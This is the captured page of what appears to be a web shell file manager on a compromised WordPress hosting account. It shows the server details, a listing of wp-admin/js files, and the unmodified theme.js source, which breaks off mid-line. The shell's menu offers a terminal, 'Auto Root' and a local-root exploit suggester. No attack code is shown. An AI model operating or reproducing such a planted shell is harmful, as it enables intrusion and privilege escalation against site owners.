Linux server322.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
Server IP : 198.54.115.172 & Your IP : 216.73.216.179
Domains :
Cant Read [ /etc/named.conf ]
User : fourgwnl
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fourgwnl /
public_html /
backup /
wp-admin /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
widgets
[ DIR ]
dr-xr-xr-x
2023-02-08 12:11
accordion.js
13.62
KB
-r--r--r--
2018-06-28 12:00
accordion.min.js
11.55
KB
-r--r--r--
2021-04-15 22:05
code-editor.js
22.03
KB
-r--r--r--
2019-07-25 10:57
code-editor.min.js
13.71
KB
-r--r--r--
2021-04-15 22:05
color-picker.js
20.33
KB
-r--r--r--
2018-06-28 12:00
color-picker.min.js
14.14
KB
-r--r--r--
2021-04-15 22:05
comment.js
13.47
KB
-r--r--r--
2018-06-28 12:00
comment.min.js
11.94
KB
-r--r--r--
2019-10-06 05:19
common.js
53.38
KB
-r--r--r--
2019-09-24 03:00
common.min.js
26.1
KB
-r--r--r--
2021-04-15 22:05
custom-background.js
14.08
KB
-r--r--r--
2020-10-30 00:30
custom-background.min.js
11.87
KB
-r--r--r--
2020-10-30 00:30
custom-header.js
12.71
KB
-r--r--r--
2018-06-28 12:00
customize-controls.js
294.72
KB
-r--r--r--
2019-01-14 17:55
customize-controls.min.js
118.89
KB
-r--r--r--
2021-04-15 22:05
customize-nav-menus.js
117.16
KB
-r--r--r--
2019-10-05 12:02
customize-nav-menus.min.js
55.63
KB
-r--r--r--
2021-04-15 22:05
customize-widgets.js
80.54
KB
-r--r--r--
2019-07-18 15:26
customize-widgets.min.js
38.06
KB
-r--r--r--
2021-04-15 22:05
dashboard.js
29.15
KB
-r--r--r--
2019-03-15 03:09
dashboard.min.js
17.2
KB
-r--r--r--
2021-04-15 22:05
edit-comments.js
46.85
KB
-r--r--r--
2019-08-31 04:04
edit-comments.min.js
25.52
KB
-r--r--r--
2021-04-15 22:05
editor-expand.js
52.37
KB
-r--r--r--
2019-04-13 03:38
editor-expand.min.js
23.84
KB
-r--r--r--
2021-04-15 22:05
editor.js
54.99
KB
-r--r--r--
2019-01-19 03:03
editor.min.js
23.62
KB
-r--r--r--
2021-04-15 22:05
farbtastic.js
18.25
KB
-r--r--r--
2010-11-12 03:04
gallery.js
16.24
KB
-r--r--r--
2018-08-19 23:03
gallery.min.js
14.45
KB
-r--r--r--
2021-04-15 22:05
image-edit.js
39.34
KB
-r--r--r--
2019-10-01 02:43
image-edit.min.js
20.57
KB
-r--r--r--
2021-04-15 22:05
inline-edit-post.js
26.62
KB
-r--r--r--
2019-05-26 02:45
inline-edit-post.min.js
17.84
KB
-r--r--r--
2021-04-15 22:05
inline-edit-tax.js
18.26
KB
-r--r--r--
2018-08-19 23:03
inline-edit-tax.min.js
13.54
KB
-r--r--r--
2021-04-15 22:05
iris.min.js
33.79
KB
-r--r--r--
2016-10-26 08:03
language-chooser.js
11.59
KB
-r--r--r--
2018-06-28 12:00
language-chooser.min.js
11.1
KB
-r--r--r--
2019-10-06 05:19
link.js
14.52
KB
-r--r--r--
2018-06-28 12:02
link.min.js
12.33
KB
-r--r--r--
2021-04-15 22:05
media-gallery.js
12.01
KB
-r--r--r--
2020-10-30 00:30
media-gallery.min.js
11.3
KB
-r--r--r--
2021-04-15 22:05
media-upload.js
14.12
KB
-r--r--r--
2018-08-19 23:03
media-upload.min.js
11.82
KB
-r--r--r--
2019-10-06 05:19
media.js
15.84
KB
-r--r--r--
2018-08-19 23:03
media.min.js
12.56
KB
-r--r--r--
2019-10-06 05:19
nav-menu.js
53.18
KB
-r--r--r--
2019-09-27 06:02
nav-menu.min.js
31.73
KB
-r--r--r--
2021-04-15 22:05
password-strength-meter.js
13.84
KB
-r--r--r--
2018-08-19 23:03
password-strength-meter.min.js
11.45
KB
-r--r--r--
2019-10-06 05:19
plugin-install.js
17.59
KB
-r--r--r--
2018-08-19 23:03
plugin-install.min.js
13.04
KB
-r--r--r--
2021-04-15 22:05
post.js
47.27
KB
-r--r--r--
2019-09-05 02:43
post.min.js
28.34
KB
-r--r--r--
2021-04-15 22:05
postbox.js
22.23
KB
-r--r--r--
2018-08-19 23:03
postbox.min.js
14.78
KB
-r--r--r--
2021-04-15 22:05
privacy-tools.js
17.78
KB
-r--r--r--
2019-10-06 16:26
privacy-tools.min.js
13.7
KB
-r--r--r--
2021-04-15 22:05
revisions.js
43.74
KB
-r--r--r--
2018-06-28 12:00
revisions.min.js
28.16
KB
-r--r--r--
2021-04-15 22:05
set-post-thumbnail.js
11.56
KB
-r--r--r--
2018-08-19 23:03
set-post-thumbnail.min.js
11.26
KB
-r--r--r--
2019-10-06 05:19
site-health.js
19.56
KB
-r--r--r--
2019-09-24 05:34
site-health.min.js
15.62
KB
-r--r--r--
2021-04-15 22:05
svg-painter.js
16.13
KB
-r--r--r--
2018-06-28 12:00
svg-painter.min.js
13.02
KB
-r--r--r--
2021-04-15 22:05
tags-box.js
21.52
KB
-r--r--r--
2019-04-17 16:48
tags-box.min.js
13.69
KB
-r--r--r--
2021-04-15 22:05
tags-suggest.js
16.05
KB
-r--r--r--
2019-04-17 16:48
tags-suggest.min.js
12.88
KB
-r--r--r--
2021-04-15 22:05
tags.js
15.29
KB
-r--r--r--
2019-07-27 03:16
tags.min.js
12.48
KB
-r--r--r--
2021-04-15 22:05
theme-plugin-editor.js
34.83
KB
-r--r--r--
2019-01-16 16:31
theme-plugin-editor.min.js
21.68
KB
-r--r--r--
2021-04-15 22:05
theme.js
63.9
KB
-r--r--r--
2019-06-20 23:45
theme.min.js
36.59
KB
-r--r--r--
2021-04-15 22:05
updates.js
89.42
KB
-r--r--r--
2019-09-30 09:35
updates.min.js
45.53
KB
-r--r--r--
2021-04-15 22:05
user-profile.js
21.52
KB
-r--r--r--
2019-09-24 03:36
user-profile.min.js
16.15
KB
-r--r--r--
2021-04-15 22:05
user-suggest.js
13
KB
-r--r--r--
2018-06-28 12:00
user-suggest.min.js
11.38
KB
-r--r--r--
2019-10-06 05:19
widgets.js
33.08
KB
-r--r--r--
2018-08-19 23:03
widgets.min.js
22.84
KB
-r--r--r--
2021-04-15 22:05
word-count.js
18.25
KB
-r--r--r--
2018-06-28 12:00
word-count.min.js
12.2
KB
-r--r--r--
2021-04-15 22:05
wp-fullscreen-stub.js
11.4
KB
-r--r--r--
2018-06-28 12:00
wp-fullscreen-stub.min.js
11.06
KB
-r--r--r--
2019-10-06 05:19
xfn.js
11.48
KB
-r--r--r--
2019-05-27 06:20
xfn.min.js
11.17
KB
-r--r--r--
2019-10-06 05:19
Save
Rename
/** * @output wp-admin/js/theme.js */ /* global _wpThemeSettings, confirm, tb_position */ window.wp = window.wp || {}; ( function($) { // Set up our namespace... var themes, l10n; themes = wp.themes = wp.themes || {}; // Store the theme data and settings for organized and quick access // themes.data.settings, themes.data.themes, themes.data.l10n themes.data = _wpThemeSettings; l10n = themes.data.l10n; // Shortcut for isInstall check themes.isInstall = !! themes.data.settings.isInstall; // Setup app structure _.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template }); themes.Model = Backbone.Model.extend({ // Adds attributes to the default data coming through the .org themes api // Map `id` to `slug` for shared code initialize: function() { var description; // If theme is already installed, set an attribute. if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) { this.set({ installed: true }); } // Set the attributes this.set({ // slug is for installation, id is for existing. id: this.get( 'slug' ) || this.get( 'id' ) }); // Map `section.description` to `description` // as the API sometimes returns it differently if ( this.has( 'sections' ) ) { description = this.get( 'sections' ).description; this.set({ description: description }); } } }); // Main view controller for themes.php // Unifies and renders all available views themes.view.Appearance = wp.Backbone.View.extend({ el: '#wpbody-content .wrap .theme-browser', window: $( window ), // Pagination instance page: 0, // Sets up a throttler for binding to 'scroll' initialize: function( options ) { // Scroller checks how far the scroll position is _.bindAll( this, 'scroller' ); this.SearchView = options.SearchView ? options.SearchView : themes.view.Search; // Bind to the scroll event and throttle // the results from this.scroller this.window.bind( 'scroll', _.throttle( this.scroller, 300 ) ); }, // Main render control render: function() { // Setup the main theme view // with the current theme collection this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Render search form. this.search(); this.$el.removeClass( 'search-loading' ); // Render and append this.view.render(); this.$el.empty().append( this.view.el ).addClass( 'rendered' ); }, // Defines search element container searchContainer: $( '.search-form' ), // Search input and view // for current theme collection search: function() { var view, self = this; // Don't render the search if there is only one theme if ( themes.data.themes.length === 1 ) { return; } view = new this.SearchView({ collection: self.collection, parent: this }); self.SearchView = view; // Render and append after screen title view.render(); this.searchContainer .append( $.parseHTML( '<label class="screen-reader-text" for="wp-filter-search-input">' + l10n.search + '</label>' ) ) .append( view.el ) .on( 'submit', function( event ) { event.preventDefault(); }); }, // Checks when the user gets close to the bottom // of the mage and triggers a theme:scroll event scroller: function() { var self = this, bottom, threshold; bottom = this.window.scrollTop() + self.window.height(); threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height(); threshold = Math.round( threshold * 0.9 ); if ( bottom > threshold ) { this.trigger( 'theme:scroll' ); } } }); // Set up the Collection for our theme data // @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ... themes.Collection = Backbone.Collection.extend({ model: themes.Model, // Search terms terms: '', // Controls searching on the current theme collection // and triggers an update event doSearch: function( value ) { // Don't do anything if we've already done this search // Useful because the Search handler fires multiple times per keystroke if ( this.terms === value ) { return; } // Updates terms with the value passed this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, show all themes // Useful for resetting the views when you clean the input if ( this.terms === '' ) { this.reset( themes.data.themes ); $( 'body' ).removeClass( 'no-results' ); } // Trigger a 'themes:update' event this.trigger( 'themes:update' ); }, // Performs a search within the collection // @uses RegExp search: function( term ) { var match, results, haystack, name, description, author; // Start with a full collection this.reset( themes.data.themes, { silent: true } ); // Trim the term term = term.trim(); // Escape the term string for RegExp meta characters term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); // Find results // _.filter and .test results = this.filter( function( data ) { name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' ); description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' ); author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' ); haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] ); if ( match.test( data.get( 'author' ) ) && term.length > 2 ) { data.set( 'displayAuthor', true ); } return match.test( haystack ); }); if ( results.length === 0 ) { this.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } this.reset( results ); }, // Paginates the collection with a helper method // that slices the collection paginate: function( instance ) { var collection = this; instance = instance || 0; // Themes per instance are set at 20 collection = _( collection.rest( 20 * instance ) ); collection = _( collection.first( 20 ) ); return collection; }, count: false, // Handles requests for more themes // and caches results // // When we are missing a cache object we fire an apiCall() // which triggers events of `query:success` or `query:fail` query: function( request ) { /** * @static * @type Array */ var queries = this.queries, self = this, query, isPaginated, count; // Store current query request args // for later use with the event `theme:end` this.currentQuery.request = request; // Search the query cache for matches. query = _.find( queries, function( query ) { return _.isEqual( query.request, request ); }); // If the request matches the stored currentQuery.request // it means we have a paginated request. isPaginated = _.has( request, 'page' ); // Reset the internal api page counter for non paginated queries. if ( ! isPaginated ) { this.currentQuery.page = 1; } // Otherwise, send a new API call and add it to the cache. if ( ! query && ! isPaginated ) { query = this.apiCall( request ).done( function( data ) { // Update the collection with the queried data. if ( data.themes ) { self.reset( data.themes ); count = data.info.results; // Store the results and the query request queries.push( { themes: data.themes, request: request, total: count } ); } // Trigger a collection refresh event // and a `query:success` event with a `count` argument. self.trigger( 'themes:update' ); self.trigger( 'query:success', count ); if ( data.themes && data.themes.length === 0 ) { self.trigger( 'query:empty' ); } }).fail( function() { self.trigger( 'query:fail' ); }); } else { // If it's a paginated request we need to fetch more themes... if ( isPaginated ) { return this.apiCall( request, isPaginated ).done( function( data ) { // Add the new themes to the current collection // @todo update counter self.add( data.themes ); self.trigger( 'query:success' ); // We are done loading themes for now. self.loadingThemes = false; }).fail( function() { self.trigger( 'query:fail' ); }); } if ( query.themes.length === 0 ) { self.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } // Only trigger an update event since we already have the themes // on our cached object if ( _.isNumber( query.total ) ) { this.count = query.total; } this.reset( query.themes ); if ( ! query.total ) { this.count = this.length; } this.trigger( 'themes:update' ); this.trigger( 'query:success', this.count ); } }, // Local cache array for API queries queries: [], // Keep track of current query so we can handle pagination currentQuery: { page: 1, request: {} }, // Send request to api.wordpress.org/themes apiCall: function( request, paginated ) { return wp.ajax.send( 'query-themes', { data: { // Request data request: _.extend({ per_page: 100 }, request) }, beforeSend: function() { if ( ! paginated ) { // Spin it $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' ); } } }); }, // Static status controller for when we are loading themes. loadingThemes: false }); // This is the view that controls each theme item // that will be displayed on the screen themes.view.Theme = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element className: 'theme', // Reflects which theme view we have // 'grid' (default) or 'detail' state: 'grid', // The HTML template for each element to be rendered html: themes.template( 'theme' ), events: { 'click': themes.isInstall ? 'preview': 'expand', 'keydown': themes.isInstall ? 'preview': 'expand', 'touchend': themes.isInstall ? 'preview': 'expand', 'keyup': 'addFocus', 'touchmove': 'preventExpand', 'click .theme-install': 'installTheme', 'click .update-message': 'updateTheme' }, touchDrag: false, initialize: function() { this.model.on( 'change', this.render, this ); }, render: function() { var data = this.model.toJSON(); // Render themes using the html template this.$el.html( this.html( data ) ).attr({ tabindex: 0, 'aria-describedby' : data.id + '-action ' + data.id + '-name', 'data-slug': data.id }); // Renders active theme styles this.activeTheme(); if ( this.model.get( 'displayAuthor' ) ) { this.$el.addClass( 'display-author' ); } }, // Adds a class to the currently active theme // and to the overlay in detailed view mode activeTheme: function() { if ( this.model.get( 'active' ) ) { this.$el.addClass( 'active' ); } }, // Add class of focus to the theme we are focused on. addFocus: function() { var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme'); $('.theme.focus').removeClass('focus'); $themeToFocus.addClass('focus'); }, // Single theme overlay screen // It's shown when clicking a theme expand: function( event ) { var self = this; event = event || window.event; // 'enter' and 'space' keys expand the details view when a theme is :focused if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Bail if the user scrolled on a touch device if ( this.touchDrag === true ) { return this.touchDrag = false; } // Prevent the modal from showing when the user clicks // one of the direct action buttons if ( $( event.target ).is( '.theme-actions a' ) ) { return; } // Prevent the modal from showing when the user clicks one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) { return; } // Set focused theme to current element themes.focusedTheme = this.$el; this.trigger( 'theme:expand', self.model.cid ); }, preventExpand: function() { this.touchDrag = true; }, preview: function( event ) { var self = this, current, preview; event = event || window.event; // Bail if the user scrolled on a touch device if ( this.touchDrag === true ) { return this.touchDrag = false; } // Allow direct link path to installing a theme. if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) { return; } // 'enter' and 'space' keys expand the details view when a theme is :focused if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // pressing enter while focused on the buttons shouldn't open the preview if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) { return; } event.preventDefault(); event = event || window.event; // Set focus to current theme. themes.focusedTheme = this.$el; // Construct a new Preview view. themes.preview = preview = new themes.view.Preview({ model: this.model }); // Render the view and append it. preview.render(); this.setNavButtonsState(); // Hide previous/next navigation if there is only one theme if ( this.model.collection.length === 1 ) { preview.$el.addClass( 'no-navigation' ); } else { preview.$el.removeClass( 'no-navigation' ); } // Append preview $( 'div.wrap' ).append( preview.el ); // Listen to our preview object // for `theme:next` and `theme:previous` events. this.listenTo( preview, 'theme:next', function() { // Keep local track of current theme model. current = self.model; // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get next theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { self.options.parent.parent.trigger( 'theme:end' ); return self.current = current; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.next-theme' ).focus(); }) .listenTo( preview, 'theme:previous', function() { // Keep track of current theme model. current = self.model; // Bail early if we are at the beginning of the collection if ( self.model.collection.indexOf( self.current ) === 0 ) { return; } // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get previous theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { return; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.previous-theme' ).focus(); }); this.listenTo( preview, 'preview:close', function() { self.current = self.model; }); }, // Handles .disabled classes for previous/next buttons in theme installer preview setNavButtonsState: function() { var $themeInstaller = $( '.theme-install-overlay' ), current = _.isUndefined( this.current ) ? this.model : this.current, previousThemeButton = $themeInstaller.find( '.previous-theme' ), nextThemeButton = $themeInstaller.find( '.next-theme' ); // Disable previous at the zero position if ( 0 === this.model.collection.indexOf( current ) ) { previousThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); nextThemeButton.focus(); } // Disable next if the next model is undefined if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) { nextThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); previousThemeButton.focus(); } }, installTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { 'installed': true } ); } } ); wp.updates.installTheme( { slug: $( event.target ).data( 'slug' ) } ); }, updateTheme: function( event ) { var _this = this; if ( ! this.model.get( 'hasPackage' ) ) { return; } event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { _this.model.off( 'change', _this.render, _this ); if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.model.on( 'change', _this.render, _this ); } ); wp.updates.updateTheme( { slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' ) } ); } }); // Theme Details view // Set ups a modal overlay with the expanded theme data themes.view.Details = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element className: 'theme-overlay', events: { 'click': 'collapse', 'click .delete-theme': 'deleteTheme', 'click .left': 'previousTheme', 'click .right': 'nextTheme', 'click #update-theme': 'updateTheme' }, // The HTML template for the theme overlay html: themes.template( 'theme-single' ), render: function() { var data = this.model.toJSON(); this.$el.html( this.html( data ) ); // Renders active theme styles this.activeTheme(); // Set up navigation events this.navigation(); // Checks screenshot size this.screenshotCheck( this.$el ); // Contain "tabbing" inside the overlay this.containFocus( this.$el ); }, // Adds a class to the currently active theme // and to the overlay in detailed view mode activeTheme: function() { // Check the model has the active property this.$el.toggleClass( 'active', this.model.get( 'active' ) ); }, // Set initial focus and constrain tabbing within the theme browser modal. containFocus: function( $el ) { // Set initial focus on the primary action control. _.delay( function() { $( '.theme-overlay' ).focus(); }, 100 ); // Constrain tabbing within the modal. $el.on( 'keydown.wp-themes', function( event ) { var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(), $lastFocusable = $el.find( '.theme-actions a:visible' ).last(); // Check for the Tab key. if ( 9 === event.which ) { if ( $firstFocusable[0] === event.target && event.shiftKey ) { $lastFocusable.focus(); event.preventDefault(); } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) { $firstFocusable.focus(); event.preventDefault(); } } }); }, // Single theme overlay screen // It's shown when clicking a theme collapse: function( event ) { var self = this, scroll; event = event || window.event; // Prevent collapsing detailed view when there is only one theme available if ( themes.data.themes.length === 1 ) { return; } // Detect if the click is inside the overlay // and don't close it unless the target was // the div.back button if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) { // Add a temporary closing class while overlay fades out $( 'body' ).addClass( 'closing-overlay' ); // With a quick fade out animation this.$el.fadeOut( 130, function() { // Clicking outside the modal box closes the overlay $( 'body' ).removeClass( 'closing-overlay' ); // Handle event cleanup self.closeOverlay(); // Get scroll position to avoid jumping to the top scroll = document.body.scrollTop; // Clean the url structure themes.router.navigate( themes.router.baseUrl( '' ) ); // Restore scroll position document.body.scrollTop = scroll; // Return focus to the theme div if ( themes.focusedTheme ) { themes.focusedTheme.focus(); } }); } }, // Handles .disabled classes for next/previous buttons navigation: function() { // Disable Left/Right when at the start or end of the collection if ( this.model.cid === this.model.collection.at(0).cid ) { this.$el.find( '.left' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) { this.$el.find( '.right' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } }, // Performs the actions to effectively close // the theme details overlay closeOverlay: function() { $( 'body' ).removeClass( 'modal-open' ); this.remove(); this.unbind(); this.trigger( 'theme:collapse' ); }, updateTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.render(); } ); wp.updates.updateTheme( { slug: $( event.target ).data( 'slug' ) } ); }, deleteTheme: function( event ) { var _this = this, _collection = _this.model.collection, _themes = themes; event.preventDefault(); // Confirmation dialog for deleting a theme. if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-delete-success', function( event, response ) { _this.$el.find( '.close' ).trigger( 'click' ); $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() { $( this ).remove(); _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) ); $( '.wp-filter-search' ).val( '' ); _collection.doSearch( '' ); _collection.remove( _this.model ); _collection.trigger( 'themes:update' ); } ); } ); wp.updates.deleteTheme( { slug: this.model.get( 'id' ) } ); }, nextTheme: function() { var self = this; self.trigger( 'theme:next', self.model.cid ); return false; }, previousTheme: function() { var self = this; self.trigger( 'theme:previous', self.model.cid ); return false; }, // Checks if the theme screenshot is the old 300px width version // and adds a corresponding class if it's true screenshotCheck: function( el ) { var screenshot, image; screenshot = el.find( '.screenshot img' ); image = new Image(); image.src = screenshot.attr( 'src' ); // Width check if ( image.width && image.width <= 300 ) { el.addClass( 'small-screenshot' ); } } }); // Theme Preview view // Set ups a modal overlay with the expanded theme data themes.view.Preview = themes.view.Details.extend({ className: 'wp-full-overlay expanded', el: '.theme-install-overlay', events: { 'click .close-full-overlay': 'close', 'click .collapse-sidebar': 'collapse', 'click .devices button': 'previewDevice', 'click .previous-theme': 'previousTheme', 'click .next-theme': 'nextTheme', 'keyup': 'keyEvent', 'click .theme-install': 'installTheme' }, // The HTML template for the theme preview html: themes.template( 'theme-preview' ), render: function() { var self = this, currentPreviewDevice, data = this.model.toJSON(), $body = $( document.body ); $body.attr( 'aria-busy', 'true' ); this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) ); currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { self.tooglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); this.$el.fadeIn( 200, function() { $body.addClass( 'theme-installer-active full-overlay-active' ); }); this.$el.find( 'iframe' ).one( 'load', function() { self.iframeLoaded(); }); }, iframeLoaded: function() { this.$el.addClass( 'iframe-ready' ); $( document.body ).attr( 'aria-busy', 'false' ); }, close: function() { this.$el.fadeOut( 200, function() { $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' ); // Return focus to the theme div if ( themes.focusedTheme ) { themes.focusedTheme.focus(); } }).removeClass( 'iframe-ready' ); // Restore the previous browse tab if available. if ( themes.router.selectedTab ) { themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) ); themes.router.selectedTab = false; } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } this.trigger( 'preview:close' ); this.undelegateEvents(); this.unbind(); return false; }, collapse: function( event ) { var $button = $( event.currentTarget ); if ( 'true' === $button.attr( 'aria-expanded' ) ) { $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar }); } else { $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar }); } this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' ); return false; }, previewDevice: function( event ) { var device = $( event.currentTarget ).data( 'device' ); this.$el .removeClass( 'preview-desktop preview-tablet preview-mobile' ) .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); this.tooglePreviewDeviceButtons( device ); }, tooglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', false ); $devices.find( 'button.preview-' + newDevice ) .addClass( 'active' ) .attr( 'aria-pressed', true ); }, keyEvent: function( event ) { // The escape key closes the preview if ( event.keyCode === 27 ) { this.undelegateEvents(); this.close(); } // The right arrow key, next theme if ( event.keyCode === 39 ) { _.once( this.nextTheme() ); } // The left arrow key, previous theme if ( event.keyCode === 37 ) { this.previousTheme(); } }, installTheme: function( event ) { var _this = this, $target = $( event.target ); event.preventDefault(); if ( $target.hasClass( 'disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function() { _this.model.set( { 'installed': true } ); } ); wp.updates.installTheme( { slug: $target.data( 'slug' ) } ); } }); // Controls the rendering of div.themes, // a wrapper that will hold all the theme elements themes.view.Themes = wp.Backbone.View.extend({ className: 'themes wp-clearfix', $overlay: $( 'div.theme-overlay' ), // Number to keep track of scroll position // while in theme-overlay mode index: 0, // The theme count element count: $( '.wrap .theme-count' ), // The live themes count liveThemeCount: 0, initialize: function( options ) { var self = this; // Set up parent this.parent = options.parent; // Set current view to [grid] this.setView( 'grid' ); // Move the active theme to the beginning of the collection self.currentTheme(); // When the collection is updated by user input... this.listenTo( self.collection, 'themes:update', function() { self.parent.page = 0; self.currentTheme(); self.render( this ); } ); // Update theme count to full result set when available. this.listenTo( self.collection, 'query:success', function( count ) { if ( _.isNumber( count ) ) { self.count.text( count ); self.announceSearchResults( count ); } else { self.count.text( self.collection.length ); self.announceSearchResults( self.collection.length ); } }); this.listenTo( self.collection, 'query:empty', function() { $( 'body' ).addClass( 'no-results' ); }); this.listenTo( this.parent, 'theme:scroll', function() { self.renderThemes( self.parent.page ); }); this.listenTo( this.parent, 'theme:close', function() { if ( self.overlay ) { self.overlay.closeOverlay(); } } ); // Bind keyboard events. $( 'body' ).on( 'keyup', function( event ) { if ( ! self.overlay ) { return; } // Bail if the filesystem credentials dialog is shown. if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) { return; } // Pressing the right arrow key fires a theme:next event if ( event.keyCode === 39 ) { self.overlay.nextTheme(); } // Pressing the left arrow key fires a theme:previous event if ( event.keyCode === 37 ) { self.overlay.previousTheme(); } // Pressing the escape key fires a theme:collapse event if ( event.keyCode === 27 ) { self.overlay.collapse( event ); } }); }, // Manages rendering of theme pages // and keeping theme count in sync render: function() { // Clear the DOM, please this.$el.empty(); // If the user doesn't have switch capabilities // or there is only one theme in the collection // render the detailed view of the active theme if ( themes.data.themes.length === 1 ) { // Constructs the view this.singleTheme = new themes.view.Details({ model: this.collection.models[0] }); // Render and apply a 'single-theme' class to our container this.singleTheme.render(); this.$el.addClass( 'single-theme' ); this.$el.append( this.singleTheme.el ); } // Generate the themes // Using page instance // While checking the collection has items if ( this.options.collection.size() > 0 ) { this.renderThemes( this.parent.page ); } // Display a live theme count for the collection this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length; this.count.text( this.liveThemeCount ); /* * In the theme installer the themes count is already announced * because `announceSearchResults` is called on `query:success`. */ if ( ! themes.isInstall ) { this.announceSearchResults( this.liveThemeCount ); } }, // Iterates through each instance of the collection // and renders each theme module renderThemes: function( page ) { var self = this; self.instance = self.collection.paginate( page ); // If we have no more themes bail if ( self.instance.size() === 0 ) { // Fire a no-more-themes event. this.parent.trigger( 'theme:end' ); return; } // Make sure the add-new stays at the end if ( ! themes.isInstall && page >= 1 ) { $( '.add-new-theme' ).remove(); } // Loop through the themes and setup each theme view self.instance.each( function( theme ) { self.theme = new themes.view.Theme({ model: theme, parent: self }); // Render the views... self.theme.render(); // and append them to div.themes self.$el.append( self.theme.el ); // Binds to theme:expand to show the modal box // with the theme details self.listenTo( self.theme, 'theme:expand', self.expand, self ); }); // 'Add new theme' element shown at the end of the grid if ( ! themes.isInstall && themes.data.settings.canInstall ) { this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' ); } this.parent.page++; }, // Grabs current theme and puts it at the beginning of the collection currentTheme: function() { var self = this, current; current = self.collection.findWhere({ active: true }); // Move the active theme to the beginning of the collection if ( current ) { self.collection.remove( current ); self.collection.add( 